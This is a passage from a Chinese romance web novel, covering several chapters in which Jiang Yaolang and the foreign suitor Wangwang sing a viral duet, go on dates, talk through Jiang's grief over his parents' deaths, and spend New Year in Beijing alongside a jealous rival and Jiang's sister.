望望很理解,他为江瑶浪选出风险较小的跳伞,说:“天使对跳伞感兴趣吗?我们可以去跳伞,很安全的。”
“而且,天空很美,我们可以藏进云里接吻。”
闻言,江瑶浪捏着他的下巴摇:“那你岂不是占大便宜了。”
望望没说话,只是勾唇笑,眼里全是星星。
江瑶浪才不乐意让他得逞,不过他确实有一样东西很感兴趣。
“喂。”江瑶浪伸手揪望望的头发,“要不然你教我跳舞吧?”
“好呀!”望望欣然答应,“天使是有特别想跳的舞蹈吗?”
“倒也没有。”江瑶浪说,“只是我觉得你跳舞的时候很吸引人。”
“所以,”江瑶浪托着下巴,凑近望望,“我也想试试。”
望望理所当然地被他诱惑到了,呆呆傻傻的:“可是,天使,你的魅力已经足够大了。”
“你只是站在那里,什么也不做,依旧无时无刻不在吸引着我的全部目光。”
江瑶浪嘟起性感的唇,朝望望小吹一口气:“那这样呢?”
望望为那片诱人的红着迷。
“这样,让我想亲你。”
他给出最从心的回答。
41.第 41 章
圣诞将近,望望向江瑶浪发出平安夜的约会邀请。
江瑶浪反问他:“你不用回家吗?”
望望摇头:“圣诞节要和重要的人一起过。”
“天使,你是我重要的人。”
这话让江瑶浪很受用,他点点头,同意了望望的邀约。
平安夜那天,他们和所有处于暧昧期的成年人一样,规规矩矩地进行约会流程。
饭后,望望牵着江瑶浪在街头压马路。
望望没有给江瑶浪准备大束的鲜花,只往他的发间插入一朵明亮耀眼的六翼天使。
他们也不交谈,只是松松黏黏地走,晚间风凉,望望贪恋指尖的温度,更是竭力在似有似无的接触中向江瑶浪渡送一腔情热。
他们逛到海边,沙滩上摆着营造氛围的造型灯串,不知名的歌手在边弹边唱,身前围着层层观众。
时刻关注江瑶浪的望望没有错过他眼中一闪而过的心动,在歌手邀请同唱时,他举高两人交缠的手,用身体拨开拥挤的人群,带江瑶浪来到麦克风前。
他向歌手讨要吉他,帮江瑶浪调整麦克风的高度。
海风吹起江瑶浪的长发,玫瑰在发间摇曳,身处的环境光线暗淡,然而江瑶浪却能清晰看到望望温柔似水的双眼。
他问:“你知道我想唱歌?”
望望点头,试了下音,扫出一段旋律:“天使,或许我还能猜出你现在想唱的歌。”
“是吗?”江瑶浪浅笑着贴近麦克风,对望望说,“你最好能跟上。”
他没有告诉望望歌名,更没有给他反应的时间,果断唱出第一句词。
望望仿佛真的懂他,不过半句,吉他的伴奏就迅速跟上,完美配合着江瑶浪。
“青春,是一个梦。”江瑶浪有点惊讶,但没有停下歌唱,“人生,如一阵春风。”
“不经意的飘过,境界蓦然辽阔。”
江瑶浪微阖双眸,随心唱着:“上一次看,才二十三。”
“现在的日子没有那么简单。”
这一句唱过后,江瑶浪突然睁开眼看向望望,嘴角勾出调皮的笑意,没有任何预兆地换了歌。
“若只有一天,爱一个人。”
望望手指灵活地变换和弦,用旋律接住了江瑶浪难得的玩心。
“让那时间每一刻在倒退,”江瑶浪有点满意,但他没有表露,只是继续唱,“生命中有万事的可能。”
可望望怎么会猜不出。
他扫弦的手没有停,身体凑近江瑶浪,眼神缱绻,唱出下一句:“你就是我要遇见的,特别的人。”
望望用脸贴了贴江瑶浪的额头,轻蹭间又换了一段旋律,为江瑶浪歌唱:“感谢你的出现,过去的往事就如烟。”
“那份爱没时限,”趁着间隙,望望偷偷空出一只手,勾勾江瑶浪的手指,又很快地重新放回吉他上,“幸福就在我们指尖。”
“那憧憬的,一转眼。”他转过头,专注地看着江瑶浪,“一瞬间,就能实现。”
“在有生之年。”望望接收到江瑶浪纵容的信号,主动吻上了他的唇,相触前他唱出最后一句词,“My only boy friend。”
“My only boy friend。”
他们吻得激烈,围观的人群更是爆发出热情的欢呼。
很多人在拍照,很多人在录视频,很多人在用各种形式记录。
闪光灯强势干扰江瑶浪的思绪。
他应该介意的,他应该停下来的。
他分明是不喜欢让自己陷入这种处境的。
可拥着他吻着他的人是那么勇敢。
可他不忍心破坏此时正好的氛围。
可望望察觉到他的不安。
他松开江瑶浪的唇,把吉他脱下塞回歌手的手里。
他横抱起江瑶浪,护着落入怀中的天使逃离人群。
望望在狂奔,望望在对他说:“天使,我带你私奔。”
膝弯和后背传来的高温快要把江瑶浪灼伤,他圈起望望的脖,再一次吻了上去,以奖励这个无畏而细腻的男孩。
望望带他逃到了无人之处,江瑶浪问他这是哪里。
望望回答:“天使,我也不知道。”
江瑶浪又问他:“这里没有人了,你要不要把我放下来?”
望望把他抱得更紧,用行动代替回答。
他乐意抱,江瑶浪也懒得走,他放松地窝进望望怀里,继续问他:“你怎么知道我喜欢方大同?”
这简直是送分题,望望答得很快:“因为,天使你在朋友圈分享过他的歌。”
“就凭这一点?”
“嗯。”望望说,“就凭这一点。”
“所有的歌都记下来了吗?”
“是的,天使。”
于是江瑶浪探出头看他:“可我们交换联系方式,不过一星期。”
望望又凑近贴了贴他的脸:“足够了,天使。”
江瑶浪感受着他的真挚,说:“你的精力真好。”
“是的,天使。”
“望望,今晚我很开心。”
“天使,这是我的荣幸。”
少年人藏不住盈怀的喜悦,却能克制地浅吻心上人的眉心。
*
他们都不约而同地,把江瑶浪和望望在海边互动的图片和视频传上社交平台。
起初的画面还算正常,尽管两人氛围暧昧,歌词也暧昧,但也仍可以用朋友间的亲密举动来解释。
他们更多是沉醉于江瑶浪的歌声里,以及惊讶于望望这个外国人能唱出标准的中文歌。
然后他们听到那句修改后的歌词被唱出。
然后他们看到那位阳光帅气的外国男孩,满眼珍惜地低头亲吻着怀里艳色逼人的长发东方男人。
众人这才意识到,原来他在求爱。
霎时间,关于江瑶浪和望望的讨论席卷网络。
在这个时代,本就没什么是密不透风的。
特别是,江瑶浪和望望的账号都拥有一定的粉丝基础。
他们很快被扒出来,随之而来的是各种声音。
在圣诞节那天,“望望天使派”更新了一条跳舞视频。
不长,只有十五秒。
视频中,江瑶浪扎了活泼的双高麻花辫,末端夹着一红一白的小蝴蝶结,他身穿一件极其宽松的粗麻花红色毛衣站在前方,望望落后他半个身位,他们在跳《初雪》。
望望显然是没有提前告知江瑶浪他准备了雪花喷雾,因此当人造雪落在身上时,江瑶浪惊讶地往后看了一眼。
望望又摁下喷雾,雪花迎着光洋洋洒洒,最后积在红毛衣垂皱的空间里。
江瑶浪脸上的笑意一晃而过,又扭头回来继续舞蹈。
直到完成最后一个动作,他上前按停视频,画面终结在江瑶浪凑近镜头的半张脸和伸出的手。
“望望天使派”给这段视频的配文是:天使说,圣诞节应该跳《初雪》。
他们两人的热度正高,视频一出,瞬间涌入巨量评论。
其中问得最多的就是他们俩的关系。
“望望天使派”乐于为他们解惑,随机回复了一个网友:还没通过天使的考核呢,继续努力[加油]。
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然后,他没再回应任何,只是默默□□。
当然,这个事件影响到的不只是他们两人。
还有那个以傲闻名的Sweety。
Sweety的粉丝可没忘记江瑶浪是他关注的第一个人,不仅关注,还每天积极抢前排,吹彩虹屁。
他们乐于见到Sweety吃瘪,毫不客气地涌入他的评论区和私信大肆嘲笑。
对此,Sweety在深夜也给出自己的回应,他先是把全平台的头像更换为一串消散的泡泡,又新发了一条内容:我有病,所以他不要我。
爱凑热闹的网友不嫌事大地把Sweety的举动推到望望的评论区前排,望望得知后的反应很直接。
他伸手拨开江瑶浪汗湿的发,把手机递到江瑶浪眼前,小心翼翼地问:“天使,我可以知道吗?”
困倦的江瑶浪半掀眼皮,随意看了眼内容,声音有点哑:“和他说的一样,我看不上他,所以,不是什么重要的人。”
闻言,望望点点头,没有再追问。
他关闭手机,抱起江瑶浪:“天使,再稍微等会,我先帮你清理。”
江瑶浪很轻地“嗯”了一声。
然后在半途就睡沉在望望的怀里。
满心柔软的望望亲亲他:“天使,好可爱。”
*
出乎江瑶浪的意料,这件事在网络发酵不过两天,相关热度就骤降。
这让江瑶浪松了口气,意外爆火给他带来的影响还挺大,短短几天便已涨粉逾十万,报名的学员激增,并且绝大部分都指明让他来教,私信和评论区塞满了各类信息,甚至还有不少广告的邀约。
江瑶浪把这些学员全部拒了,忽视了所有的信息,没有接受任何推广,更没有选择签约MCN公司。
不过,也不是没有好的地方,比如他的商演出场费用翻了一倍,虽然不知道这种价格能持续多久,但有钱送上门,不赚白不赚,江瑶浪在能力范围内接下了大部分的演出机会。
这也让他在接下来的一段时间变得异常忙碌。
等他好不容易处理完工作,回了家看到捏着毛绒讨伐棒一脸严肃的江瑶清。
他才发现外部的影响对他来说什么也不是,来自家庭的内部因素才是真的棘手。
江瑶浪主动蹲在江瑶清身前,把脖子伸进讨伐棒里面,一脸乖巧。
江瑶浪这个样子太萌了,让江瑶清一秒破功,忍不住大笑起来。
她挥动手中的讨伐棒戳了戳江瑶浪,毛绒软刺扎得江瑶浪有点痒。
“讨伐开始!哥哥快速速交代。”
江瑶浪难得不好意思,在他妹妹面前红了脸:“这有什么好说的……”
脖子间的软刺又动了动。
江瑶浪叹了口气:“你就是想吃瓜吧。”
“还讨伐呢。”江瑶浪有点无奈,但还是把他和望望的故事从头说起。
说他们的初遇是在特罗姆瑟,他帮助了他,两人一起追逐极光。
说再次重逢是十二月,望望成功找到了自己,并多次示好。
说自己对望望的初始好感度挺高的,两人相处的过程也让他舒服。
“……总而言之,我还没答应他,先这么着吧。”江瑶浪伸手捏捏讨伐棒,问,“讨伐结束了吗?我可以出来了吗?”
“所以,哥哥你是说。”
“有一个人对你一见钟情,然后苦学中文,改名换姓,跨越千山为你而来,是吗?”
江瑶浪看向少女心发作的江瑶清,脸上的热度再起,他点了点头。
“嗯,大概是这样吧。”
42.第 42 章
“天使,你是不是有点累?”
望望注意到江瑶浪的不在状态,他从江瑶浪身上下来,把江瑶浪抱进怀里。
“可能是吧?”江瑶浪确实没什么兴致,但他也不想让望望难受。
“没关系,继续吧。”江瑶浪主动贴了贴他的脸。
望望亲亲他:“有关系的。”
江瑶浪不想,望望当然不会勉强,他用大掌轻柔地上下抚摸江瑶浪光裸的背,安抚着他的情绪,哼出舒缓的曲调,准备哄江瑶浪睡觉。
望望手长腿长,体温很高,被他环抱时,江瑶浪时常觉得与自己相触的不是皮肉,而是一张厚实的毛毯,或者是放满的温水缸。
“小时候,我妈妈也是这么哄我睡的。”江瑶浪暖洋洋的,语调也懒洋洋的。
“天使妈妈在哄小天使睡觉,那肯定可爱极了。”
“小天使皮得很,怎么哄也不肯睡。”
“精力充沛的小天使,自然也是可爱极了。”
江瑶浪哼哼:“嘴上说说当然容易,当时你又不在,怎么可能知道我有多烦人。”
“那,天使你多烦烦我好不好?”望望喜欢江瑶浪的小脾气,并跃跃欲试。
“不要,多烦人。”
“可是,”望望捏捏江瑶浪的后颈,“我在追求你呀。”
“想对你好,想宠着你,想大声说爱你。”望望问,“天使,我是不是很贪心?”
江瑶浪沉默了一会,然后从他怀里撑起,他看着望望的蓝眼睛:“我想知道很久了,为什么你会喜欢我?”
望望先是笑了笑,随后低头吻上江瑶浪的心。
“天使,你有一颗柔软的心。”
“是你帮助了我,是你选择信任我。”
“是你让十九岁的Casper知道极光是橙子味的,所以,”望望的唇又贴在了他的心间,“二十岁的望望希望能让他的天使开心。”
江瑶浪抬高了他的头,语气不知喜怒:“爱心泛滥的小老外。”
在望望急着反驳前,他歪了歪头,长发落在望望的脸上,让他反射性闭上眼。
江瑶浪问:“你是吗?嗯?”
“我不是。”
望望闭着眼,将自己更深地嵌进江瑶浪的不安与怀疑里,手上抚背的动作继续,两人紧紧相贴,望望用怦然搏动的心告诉他,他不是。
“天使,感受我。”
“感受我的心动。”
突然,江瑶浪笑了出声,他用手指撑开望望的眼皮,对着蓝眼睛说:“望望,我想吃炸鸡。”
他注视着极速扩张的瞳孔,又倾身让发丝骚扰乱动的喉结,成功逼得望望说出干涩的“好”。
“咳嗯,”望望侧头清清嗓子,又重新看向江瑶浪,“现在要吃吗?”
“不。”江瑶浪说,“我要明天去,我要去山姆,只吃炸鸡不逛。”
“好啊,天使,我和你一起。”
“吃完炸鸡后,我要去园博苑坐小火车。”
望望又点点头:“天使,我陪着你。”
“确定要和我一起来回跑吗?”江瑶浪又问,“我可不坐私家车哦。”
“感谢公共交通,为我延长了与天使相处的时间。”
“哼。”江瑶浪唇边浮现笑意,“什么话都让你说完了。”
望望也跟着笑,讨好地亲他。
*
他们坐上的园博苑小火车是粉色的。
江瑶浪想坐,望望就重复给钱,陪他坐了一趟又一趟,看景色一遍遍重复。
恰好到达站点,江瑶浪伸了个懒腰,说:“下车吧,坐累了。”
“好啊。”望望抱起半桶炸鸡,跟在江瑶浪身后下了车。
小火车驶离后,江瑶浪也不知道该从哪里开始逛,干脆选了条自己顺眼的路,慢慢向前走着,然后越走越偏离人群。
“怎么好像没人了。”江瑶浪摸摸下巴,有点迷惑地看向眼前的大桥。
他又扭头问望望:“我们要走过这座桥吗?看着还挺长的,也不知道通向哪里。”
望望指了指远处的月光环,说:“都可以呀,反正我们又没走丢。”
“确实是没走丢,可这里没景点又没人的,也不知道我怎么走的。”江瑶浪不是很开心,觉得自己选错了路。
望望伸出手,揉开他皱紧的眉,安慰道:“我在你身边呀。”
然后他半蹲在江瑶浪身前,一手护着炸鸡桶,一手往后探,准备江瑶浪抱上自己的背:“天使累了的话,我背你吧?”
江瑶浪没上他的背,只是牵着望望的手把他带了起来。
“算了。”江瑶浪有了决定,拉着人往桥上走,“先走着吧,说不定桥的尽头是个自动贩卖机,里面有冰可乐。”
“那我们就可以喝可乐吃炸鸡啦。”望望晃了晃手上的纸桶。
闻言,江瑶浪抬手揪了揪望望的脸:“不嫌我烦啊?”
望望被他扯着脸颊肉,说话含含糊糊:“怎么会烦呢。”
江瑶浪满意了,改揪为拍:“算你小子会说话。”
虽然说是拍,江瑶浪也没真用力,望望只觉得在被摸,他主动蹭江瑶浪的手,咧嘴开怀大笑。
他笑得开心,江瑶浪又不乐意了,他推开望望的脸,大步往前走。
“黏糊死了。”江瑶浪嫌他。
望望快走两步,和江瑶浪并肩。
“抱歉,天使,可我忍不住。”
“所以你黏糊,烦人!”
望望忍俊不禁,猛地凑近偷亲江瑶浪的绯红的脸:“天使,你在撒娇吗?”
江瑶浪瞪大眼控诉他,像一只炸毛小猫。
“对不起,”望望又偷亲,“是我在撒娇,天使好宠我。”
江瑶浪又推开他,生气地跺脚:“我还没答应你呢!”
望望眼疾手快,勾住主动靠近的尾指,他牵起后晃了晃:“给天使买冰可乐好不好,不生气啦。”
“一瓶可乐就想我消气啊?”江瑶浪语气不善。
望望依旧好脾气,说:“天使想要什么都可以。”
于是江瑶浪落后一步,跳上望望的背,抬腿圈住他的腰:“我不想走了,你背我。”
望望反应很快,单手托住他的臀:“天使又在奖励我了。”
“这么熟练,哄过多少人啊?”
望望怕江瑶浪再次恼羞成怒,不敢笑得太大声:“没有,天使是第一个。”
他扭头看向背上的江瑶浪:“见到你就无师自通啦。”
江瑶浪不想被他这种肉麻的眼神看着,他把望望的头拨正:“看路,别看我。”
“遵命,天使。”
*
望望稳稳地背着江瑶浪走完了剩下的一小段桥。
在桥的尽头竟然真的存在着自动贩卖机,而贩卖机里恰好有江瑶浪想喝的冰可乐。
望望弯腰从取货口拿出可乐,用瓶身贴贴江瑶浪的脸:“料事如神的天使。”
江瑶浪骄傲地点点头。
他们在休息椅上歇了挺久,分着慢慢吃完了凉透的炸鸡,喝光了整瓶可乐。
天色渐晚,江瑶浪也不想继续走了,他对望望说:“回去吗?”
望望却指了指身旁的指路牌:“这里有儿童公园。”
江瑶浪挑眉:“所以呢?”<
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p>“所以,”望望重新蹲下背起江瑶浪,“我猜小天使会喜欢。”
江瑶浪趴在他的背上晃腿:“哪个小天使?”
“现在在我背上的,长得很漂亮的小天使。”
“哼哼。”江瑶浪把下巴搭在望望的头顶上,“烦死你。”
“才不会呢。”望望语气坚定。
*
江瑶浪被放在了秋千上,望望就站在身后推他,可惜荡了半天,江瑶浪的腿还是能轻易到地。
“哈哈。”江瑶浪忍不住笑了起来。
他伸腿踩地,止住秋千的晃动,上半身后倒在望望身上。
然后江瑶浪抬头看望望,问:“你会开车吗?”
江瑶浪的头抵在望望的腹间,让他忍不住伸手去环。
当然他也确实这么做了,而江瑶浪没有阻止。
望望摸摸江瑶浪的脸,回答他的问题:“会啊,我有一辆皮卡。”
江瑶浪露出果然如此的表情,接着说:“我不会。”
“我也不想学,我还怕坐车。”
闻言,望望环紧了江瑶浪,关切地问:“发生什么事情了吗?”
江瑶浪沉默了很久,望望更不敢说话,只是默默环着他,替他挡去凉意。
江瑶浪很轻地叹气,双眸没有神采。
“我的爸妈,是车祸去世的。”他说,“那年我也十九岁。”
“很突然的意外,让我一下子不知道该怎么应对。”
“他们刚离开的那段时间,我每天都在想,要不我也去死得了。”
“死了就不难受了,也不疼了。”
望望没有应话,只是用热乎乎的双掌包住他微凉的脸。
“但我也不能去死啊,我还有个妹妹,我死了她该怎么办。”
“后来我什么也不去想了,只想着赚钱,还债,养妹妹。”
“就这么过了几年,生活总算是好了起来,但我还是不敢坐车。”江瑶浪把脸缩进望望的手心里,脸颊肉溢出少许,很可爱,但望望只觉得心疼。
“其实也不是完全不能坐,但我会很难受。”
“我没办法习惯,还是会下意识反感和逃避。”
他又轻轻叹气:“始终没办法放下,我也走不出来。”
可能是想起什么,江瑶浪的嘴角勾出一丝笑意,他从口袋里摸出糖。
糖在兜里放了一整天,有点化,撕开糖纸后黏黏的,江瑶浪让望望低头,然后把糖塞进了他的嘴里。
“这个糖很可恶,两种口味混装。”江瑶浪摊开手,手心里是剩下的两颗糖,正好是一颗柠檬一颗橙子。
“我只喜欢吃橙子味的,柠檬的不喜欢。”
他举高了手,让望望看得更清晰:“它们其实是我的戒烟糖。”
“挺早的时候我就学会抽烟了,但戒得也早。”江瑶浪说,“也挺庆幸,戒得彻底,因为爸妈走后,我连买烟的钱都拿不出。”
“不过烟瘾没了,吃糖的习惯却改不掉,我每天会从糖罐里拿三颗。”
“如果有两颗是橙子味的话,那说明今天的运气还不错,反之亦然。”
“当然,如果三颗都是柠檬,那就很坏很坏了。”
“爸妈离开的那天,我就是拿到了三颗柠檬糖。”
江瑶浪合起手掌,看向望望:“想学吗?这是天使的玄学。”
望望第一次选择拒绝,他摇摇头,弯腰用额抵上江瑶浪的额。
温热的泪顺着他发红的眼眶落在江瑶浪的脸上,又顺着脸滑入江瑶浪的颈间。
他含着糖,说出橙子味的话:“天使,哭吧。”
“我陪你哭。”
43.第 43 章
江瑶浪依旧没有答应望望的追求,但他把望望带回了北京。
那晚他们刚做完,江瑶浪翻身坐在望望腰间,腿上残留的液体有点凉,望望忍不住抖了一下,然后更热地抵着江瑶浪。
“可怜的小老外,背井离乡来中国找我,”江瑶浪最近喜欢玩望望的喉结,喜欢看他激动,“你说,我不对你负责是不是不太好?”
望望圈着他的腰,浑身肌肉绷得很硬,他点点头:“是的,天使。”
“想不想和我回北京过年?”江瑶浪发出邀请。
“可以吗?”望望的双眼瞬间睁大,喜悦无法克制,激动地亲江瑶浪。
江瑶浪推开他的头,哼笑:“骗你的。”
望望有点失落,不过很快恢复精神:“没关系,总有机会的。”
怎料,江瑶浪主动凑近,舔舔他新长出来的胡茬,望望理所当然把持不住,他低头埋进江瑶浪的胸间,不愿让江瑶浪看到他的失态。
江瑶浪抬手抱住他的头,恶劣地说:“还是骗你的。”
闻言,望望呼吸一窒,又溅了江瑶浪一身。
*
江瑶浪允许望望和他一起过年,但并没有收留他。
零点时他们接吻,零点后江瑶浪主动结束了这个吻。
“你该回去了。”两人的脸还相贴着,江瑶浪却开始驱赶。
望望很顺从,但在离开前他拿出提前准备好的新年礼物。
是一条串了小羊转运珠的红绳。
“天使,他们说在本命年的时候应该佩戴红绳,所以,”望望把手往前递了递,眼里是紧张与期待,“你想戴上吗?”
江瑶浪拿起那条红绳,让憨态可掬的小羊金珠在指尖滚了两圈,然后把自己的左手和红绳一起放回望望的手心。
“戴吧。”江瑶浪点了点头。
“天使,你真好!”
望望开心地亲亲江瑶浪的手腕,随后低头给他戴红绳。
他在戴的时候,江瑶浪把下巴搭在他的头上,脸是红了,但嘴上不饶人:“小老外知道的还挺多。”
“嗯,你在这里,我总应该要去了解的。”
戴好后,望望将五指插入江瑶浪的指间,随即把相扣的手举起带到江瑶浪的眼前。
“天使,我觉得很好看,你喜欢吗?”
江瑶浪皮肤白,腕间多了一点红更显通透光泽,金珠大小合适不抢眼,是极其适合他的饰品。
“喜欢,小羊很可爱。”江瑶浪从不吝啬自己的夸奖。
“是吗!”亮晶晶的望望又热切地盯着江瑶浪,“天使,这是我自己做的!”
“你喜欢,这真的太好了。”
他激动抬头,江瑶浪被迫从他的头顶滑落,还撞到了下巴。
“喂。”江瑶浪指了指自己的下巴,“你弄疼我了。”
“对不起天使。”望望满含歉意,伸手去揉按江瑶浪的下巴,“这样会好点吗?”
江瑶浪哪有这么娇气,但他就是想让望望哄他,望望体热,手总是暖暖的,于是他把头睡进望望的手掌,闭着眼说:“没有。”
“那我继续给天使揉揉。”
掌心里的江瑶浪小幅度点点头:“嗯,累死你。”
“才不会呢。”江瑶浪愿意烦他,望望只觉得心甘情愿。
望望揉了挺久,江瑶浪才睁开眼看他,问:“什么时候做的?”
“就在天使忙着跑商演的那段时间。”
江瑶浪哼哼:“所以你其实早有预谋吧。”
“就算我不提你也会死皮赖脸地跟过来北京。”
望望没说话,只是看着他笑。
“好肉麻。”江瑶浪从他的手心离开,站起身往门口走,“你该回去了,小老外。”
“谁知道再晚点会不会死皮赖脸蹭上我的床。”江瑶浪穿上外套,打开了门。
望望跟在他身后,和他一起下了楼。
天冷,江瑶浪把双手都揣进了兜里,望望在楼梯口和他道别。
“天使,那我走了喔,过会儿见。”
江瑶浪把脸缩进拉高的拉链里,从鼻子里发出一声轻哼。
望望上前一步,贴贴江瑶浪的露出的眼睛:“晚安。”
江瑶浪又轻哼一声。
而在望望转身没走两步,他却用一声“喂”把人喊了回来。
听到呼唤的望望大步走回江瑶浪身边,问:“怎么啦?”
江瑶浪看了他一会,慢吞吞地把脸从衣服里探出来。
他抬高了下巴,问:“你不想亲亲我吗?”
闻言,望望失笑,他贴近江瑶浪蹭他亲他,夸他:“天使,好可爱。”
可惜的是,两人贴了没两秒,就被一声突兀的喇叭声打断。
江瑶浪皱眉,心想是哪个车主这么没素质。
望望不想他不开心,给他揉开眉心,低头再次亲他。
结果身后传来重重的关门声,有人从车里下来,迎着风走到他们面前。
然后一言不发地沉默着,只是紧紧盯着江瑶浪。
望望下意识把江瑶浪护在身后,警惕地看着来人。
单承言目光一瞬不移,懒得理他。
于是,江瑶浪把半张脸缩回了衣服里,对单承言说:“闲着呢?”
“那正好了,”江瑶浪点点头,“帮我送个人吧。”
“什么?”单承言满脸不可置信,伸手指着望望,“送谁?他?”
“对啊,”江瑶浪又点点头,“你不是闲着没事干吗?大半夜的都跑来这里蹲鬼了。”
“浪哥给你找点事情干,感恩戴德吧。”
说罢,江瑶浪拉起望望的手就走向单承言的车,他打开后排的门,把望望推了进去。
突然坐进车里的望望很懵,他说:“天使,我可以自己回去的,不用麻烦你朋友。”
江瑶浪哼了一声,似笑非笑:“确定吗?他是Sweety哦,不是很好奇?”
望望“啊”了一声,不再拒绝,而是给自己系上了安全带:“我明白了,天使。”
江瑶浪拍拍他的头,关上了车门,刚直起身便对上单承言的目光。
单承言看他的眼神很复杂,嘴唇翕动着。
但他不想听单承言的废话,抢先说:“我知道你也好奇,你们俩自己聊去吧,大过年的别见红就行。”
话毕,江瑶浪把手揣回兜里,往楼梯间走。
擦身而过的时候,单承言极快地说了句:“瑶瑶,新年快乐。”
江瑶浪向前走的脚步没有丝毫停顿,留给他的背影决绝又冰冷,他越走越快,越走越远。
然后再次消失在他的眼里。
*
单承言平复好心情,拉开门进入车内。
他点火系上安全带,没回头:“住哪。”
望望报出了暂住的酒店名,用的英语。
“装什么,现在想起来自己是个外国人了?”单承言嗤笑一声,笑他多此一举。
望望好脾气地笑笑,
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没应话。
黑色的性能车龟速驶离小区,重回公路时,单承言狠踩一脚油门,但引擎的怒吼还没彻底响出,单承言又立马急刹,留下刹车痕的同时望望也被甩得向前扑,下意识用手撑着前方的座椅。
单承言虚情假意:“抱歉,差点忘了要遵纪守法。”
“没关系,”望望依旧用的英语,“但也是因为有你这种司机的存在,天使才会害怕坐车。”
单承言捏紧了方向盘,语气却带着炫耀:“他坐我的车从来不害怕。”
闻言,望望克制不住地露出惊讶神情,他问:“你居然不知道吗?”
“知道什么?”
望望笑出了声,摇摇头,说:“你真的把他养得很差。”
单承言不屑,心想你这个死老外又能把瑶瑶养多好,连件像样的珠宝都买不起,也就是仗着瑶瑶心软。
但也就那样了。
单承言通过中央后视镜观察到望望双手空空,得意地出言嘲讽:“他没给你送饺子吗?”
见望望皱眉思虑,单承言还以为自己扳回一城:“你不会不知道吧?瑶瑶包的饺子很好吃。”
“我知道呀。”望望点头,“他教我包饺子了,但我不是很熟练。”
“我包得挺丑,天使有点生气,让我明天滚过去把它们吃干净。”望望苦恼地叹气,“我应该提前练习的,饺子好看,天使就会开心。”
望望又笑:“说不定我就能留在他家。”
单承言又酸又气,面沉如水,却依旧嘴硬:“毕竟你不是中国人,没天赋也是正常的。”
望望不愿在这些小事上与他过多纠缠,他主动更换话题:“Sweety,我们聊些正事吧。”
“我希望,你以后不要继续打扰天使了,这让他很困扰。”
这话一出,单承言更生气了,深夜的路面空无一人,他大胆地踩下油门,座驾瞬间化作一道黑色残影飞驰而去,咆哮的声浪与单承言脸上的冷意形成对比,彻底撕开伪装出的平静。
“你又有什么资格管他。”单承言的话语仿佛带着冰渣。
“我当然没有资格,我也不知道你们之前发生了什么事情。”望望淡然应对,“实际上,我对你的好奇在得知天使对你的评价后就消失殆尽。”
“是吗?那他是怎么说我的。”
“天使说,你的认知完全正确。”
“他看不上你,所以,你不是什么重要的人。”望望复述了江瑶浪当晚的话,然后接着说,“当时的我还不知道为什么天使会给你这种评价。”
“但经过刚刚和你的交谈,”望望交叠双腿,放松地后靠座椅,“我明白了。”
“或许你们相处的时间比我长,但,”望望语气自信,“我绝对要比你更了解他。”
“Sweety,你真的把他养得很差。”望望叹气,再次强调。
“呵。”单承言冷笑着把车刹停在不知名的路口,他解开车锁,“下车。”
望望也不恼,按开了身上的安全带,但在下车前,他说:“Sweety,谢谢你送我。”
“作为情敌,我可以给你一个建议,”他看向中央后视镜,与单承言对视,“如果你对江瑶浪的情感是爱,那么,请你学会了解他,尊重他。”
“而不是把自己的喜好强加在他的身上。”
这句话说完,望望朝单承言点头致意。
在关上车门前他对单承言再一次道谢:“谢谢你,Sweety,祝你新年快乐。”
44.第 44 章
望望来得挺早,但也因为来得太早,江瑶浪还没回复他的信息。
于是他蹲在江瑶浪家门前,耐心地等天使睡醒。
望望身高体壮,缩着蹲下也是极大的一团,再加上楼道光线一般,黑乎乎的一坨把上楼找兄妹的小玲姐吓了一跳。
“哦哟,”小玲姐摸着胸口平复惊吓,对望望说,“你蹲人门前干嘛哟。”
“抱歉。”吓到人的望望尴尬地摸摸头,“我是来找江瑶浪的。”
“那你让他开门呀,蹲着干什么。”
望望又摸着头:“他好像还没睡醒。”
听到这话,小玲姐的八卦之心熊熊燃起,她问望望:“你是小浪的新男朋友哇?”
“现在还不是。”望望谦虚地笑笑。
“嘿,你小子。”小玲姐根本掩藏不住自己的好奇,用目光从上到下,又从下到上来回打量望望。
望望站得笔直,浅笑着任由她看。
然后被江瑶清开门的动作打断。
“小玲姐我来开门啦。”江瑶清从门后探出身子,先和小玲姐打了个招呼,又看向望望,“来这么早呢!”
望望点点头,还没开口问,就被江瑶清抢答:“我哥还在睡觉啦,你先进来吧。”
随后,她笑嘻嘻地把小玲姐带了进门,而望望也跟在她们身后进了屋。
进去后,望望见她们都坐在了沙发上,于是抬步往饭桌走去,他刚拉开椅子,就被江瑶清喊停。
“你过来啊,坐那么远干什么。”江瑶清朝他招招手。
望望顺从地走去沙发,拘谨地在她们身旁坐下,迎上江瑶清和小玲姐带着隐秘兴奋的探究目光。
“嘿嘿。”江瑶清早就对望望好奇极了,只不过一直没有机会和他聊聊。
但她没有立马和望望搭话,而是先给吃瓜吃得不明不白的小玲姐简要说明了一下他们俩的相遇相识,以及目前的相处状态。
她们俩聊天的时候声音也没刻意收着,毫不避讳地让望望听了个全。
原来天使是这么介绍我的,望望暗喜,嘴角克制不住地往上翘。
然后这丝笑意被两人逮了个正着。
望望瞬间不敢笑了,更不敢说话,只是一味地把身体坐得笔直,深怕让她们俩不满意。
小玲姐拍拍江瑶清的手,看向望望的眼神还算满意:“原来是这样啊。”
“嗯嗯。”江瑶清点点头,“这小子挺会讨我哥喜欢的。”
“重逢后没多久就搞一起了。”
这话说得直接,望望的脸涨得通红,他结结巴巴地想解释什么,却被小玲姐挥手阻止。
“你害羞什么哇?小浪如果不喜欢你,还能愿意和你搞一起啊?”
“这是在夸你啊,真是不懂事。”
望望红着脸点头,果断认错:“抱歉,是我的问题,我中文不太好。”
话音未落,江瑶清和小玲姐不约而同地笑出了声,江瑶清靠在小玲姐肩头,指着望望说:“我敢肯定,我哥一定很喜欢逗他玩儿。”
“哦对了,”江瑶清又想起什么,对小玲姐说,“小玲姐你知道吗?他叫我哥天使,每天天使来天使去的,偷听他们俩打电话的时候,我忍得可辛苦了哈哈哈哈哈哈!!!”
“哦哟,”小玲姐也很惊讶这个称呼,“叫这么肉麻呢!”
“嗯嗯,外国人就是热情!”江瑶清打趣道。
“不是的,它不是个肉麻的称呼。”望望顶着尴尬出言打断,目光极其认真,他为两人解释,“江瑶浪就是我的天使,他和别人不一样的。”
“我也,不是个热情的人。”
这句话被说出后,室内安静片刻,望望猜想自己或许是说错了话,于是迅速向两人表达歉意:“抱歉,我太敏感了。”
江瑶清笑出了声,看向望望的眼里全是赞许:“望望,我喜欢你。”
“我向你道歉,我不应该打趣你们之间的爱称。”她问,“望望,你可以原谅我吗?”
望望连连摆手,急忙说:“我不是,我没有,哎。”
